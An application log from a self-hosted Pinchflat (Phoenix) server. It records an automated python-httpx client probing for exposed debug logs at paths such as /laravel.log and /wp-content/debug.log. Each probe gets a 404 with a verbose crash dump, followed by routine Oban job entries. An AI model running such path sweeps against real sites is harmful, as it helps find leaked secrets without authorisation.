#PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2817.0>, params: %{}, path_info: ["laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g2IxQ_SWyw0AABLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :i (truncated) 15:15:14.158 [info] GET /logs/debug.log 15:15:14.163 [debug] QUERY OK source="settings" db=3.6ms queue=0.4ms idle=428.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.165 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=433.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.166 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:14.170 [error] #PID<0.2818.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 29) terminated Server: rutube.spluft.ru:80 (http) Request: GET /logs/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2818.0>, params: %{}, path_info: ["logs", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g29WHAvIsa4AABLi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2818.0>, params: %{}, path_info: ["logs", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g29WHAvIsa4AABLi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1 (truncated) 15:15:14.386 [info] GET /storage/logs/laravel.log 15:15:14.393 [debug] QUERY OK source="settings" db=4.9ms queue=0.8ms idle=448.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.396 [debug] QUERY OK source="settings" db=2.4ms queue=0.1ms idle=453.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.398 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:14.400 [error] #PID<0.2819.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 30) terminated Server: rutube.spluft.ru:80 (http) Request: GET /storage/logs/laravel.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2819.0>, params: %{}, path_info: ["storage", "logs", "laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/storage/logs/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g3zpd2psNx0AABMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 30, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2819.0>, params: %{}, path_info: ["storage", "logs", "laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/storage/logs/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g3zpd2psNx0AABMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: (truncated) 15:15:14.610 [info] GET /wp-content/debug.log 15:15:14.617 [debug] QUERY OK source="settings" db=4.2ms idle=630.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.622 [debug] QUERY OK source="settings" db=4.0ms idle=454.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:14.622 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:14.625 [error] #PID<0.2820.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 31) terminated Server: rutube.spluft.ru:80 (http) Request: GET /wp-content/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2820.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g4o__5OBSsMAABMi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2820.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g4o__5OBSsMAABMi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2 (truncated) 15:15:20.856 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:50.858 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.723 [info] {"source":"oban","duration":3193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:20.860 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:50.863 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.731 [info] {"source":"oban","duration":5030,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:20.867 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:50.869 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.764 [info] {"source":"oban","duration":4457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:20.874 [info] {"source":"oban","duration":3088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:50.876 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.765 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:20.878 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:50.880 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.772 [info] {"source":"oban","duration":4479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:20.882 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:50.889 [info] {"source":"oban","duration":5659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.775 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:20.891 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:50.894 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.785 [info] {"source":"oban","duration":5791,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:20.896 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:50.901 [info] {"source":"oban","duration":4476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.792 [info] {"source":"oban","duration":5131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:20.903 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:50.908 [info] {"source":"oban","duration":3758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.800 [info] {"source":"oban","duration":2798,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:20.910 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:50.912 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.801 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:20.916 [info] {"source":"oban","duration":3384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:50.918 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.804 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:20.920 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:50.922 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.808 [info] {"source":"oban","duration":3231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:20.924 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:50.931 [info] {"source":"oban","duration":5899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.811 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:20.933 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:50.935 [info] 